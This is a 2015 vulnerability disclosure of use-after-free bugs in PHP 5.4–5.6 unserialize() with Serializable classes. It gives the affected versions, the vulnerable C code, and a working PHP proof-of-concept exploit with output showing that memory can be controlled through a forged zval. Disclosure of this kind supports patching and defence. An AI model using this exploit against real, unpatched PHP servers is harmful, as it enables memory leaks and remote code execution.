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PHP 5.6 / 5.5 / 5.4 unserialize() Use-After-Free

Posted on 09 September 2015

#Use After Free Vulnerabilities in unserialize()

Taoguang Chen <[@chtg](http://github.com/chtg)> - Write Date:
2015.7.31 - Release Date: 2015.9.4

> Multiple use-after-free vulnerabilities were discovered in unserialize() with Serializable class that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.

Affected Versions
------------
Affected is PHP 5.6 < 5.6.12
Affected is PHP 5.5 < 5.5.28
Affected is PHP 5.4 < 5.4.44

Credits
------------
This vulnerability was disclosed by Taoguang Chen.

Description
------------
```
 if (ce->unserialize == NULL) {
 zend_error(E_WARNING, "Class %s has no unserializer", ZSTR_VAL(ce->name));
 object_init_ex(rval, ce);
 } else if (ce->unserialize(rval, ce, (const unsigned char*)*p,
datalen, (zend_unserialize_data *)var_hash) != SUCCESS) {
 return 0;
 }

 (*p) += datalen;

 return finish_nested_data(UNSERIALIZE_PASSTHRU);
```

The unserialize() with Serializable class lead to various problems.

i) Free the memory via crafted Serializable class

```
<?php

class obj implements Serializable {
 var $data;
 function serialize() {
 return serialize($this->data);
 }
 function unserialize($data) {
 $this->data = unserialize($data);
 $this->data = 1;
 }
}

?>
```

ii) Free the memory via the process_nested_data() with a invalid
serialized string

```
static inline int process_nested_data(UNSERIALIZE_PARAMETER, HashTable
*ht, long elements, int objprops)
{
 while (elements-- > 0) {
 zval *key, *data, **old_data;

 ...

 ALLOC_INIT_ZVAL(data);

 if (!php_var_unserialize(&data, p, max, var_hash TSRMLS_CC)) {
 zval_dtor(key);
 FREE_ZVAL(key);
 zval_dtor(data);
 FREE_ZVAL(data); <=== free the memory
 return 0;
 }
```

iii) Free the memory via the var_push_dtor_no_addref() with the var_destroy().

```
PHPAPI void var_destroy(php_unserialize_data_t *var_hashx)
{

 ...

 while (var_hash) {
 for (i = 0; i < var_hash->used_slots; i++) {
 zval_ptr_dtor(&var_hash->data[i]); <=== free the memory
 }

 ...

PHPAPI int php_var_unserialize(UNSERIALIZE_PARAMETER)
{

 ...

 if (*rval != NULL) {
 var_push_dtor_no_addref(var_hash, rval);
 }
 *rval = *rval_ref;
```

We can create ZVAL and free it via Serializable::unserialize. However
the unserialize() will still allow to use R: or r: to set references
to that already freed memory. It is possible to use-after-free attack
and execute arbitrary code remotely.

Proof of Concept Exploit
------------
The PoC works on standard MacOSX 10.11 installation of PHP 5.4.43.

```
<?php

$fakezval = ptr2str(1122334455);
$fakezval .= ptr2str(0);
$fakezval .= "x00x00x00x00";
$fakezval .= "x01";
$fakezval .= "x00";
$fakezval .= "x00x00";

// i)
//$inner = 'a:1:{i:0;i:1;}';
//$exploit = 'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;R:3;}';
// ii)
$inner = 'a:2:{i:0;i:1;i:1;i:2';
$exploit = 'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;R:5;}';
// iii)
//$inner = 'r:1;';
//$exploit = 'a:1:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}}';

$data = unserialize($exploit);

for ($i = 0; $i < 5; $i++) {
 $v[$i] = $fakezval.$i;
}

var_dump($data);

function ptr2str($ptr)
{
 $out = "";
 for ($i = 0; $i < 8; $i++) {
 $out .= chr($ptr & 0xff);
 $ptr >>= 8;
 }
 return $out;
}

class obj implements Serializable {
 var $data;
 function serialize() {
 return serialize($this->data);
 }
 function unserialize($data) {
 $this->data = unserialize($data);
// i)
// $this->data = '1';
 }
}

?>
```

Test the PoC on the command line:

```
$ php uafpoc.php
array(2) {
 [0]=>
 object(obj)#1 (1) {
 ["data"]=>
 bool(false)
 }
 [1]=>
 int(1122334455) <=== so we can control the memory and create fake ZVAL :)
}
```

 

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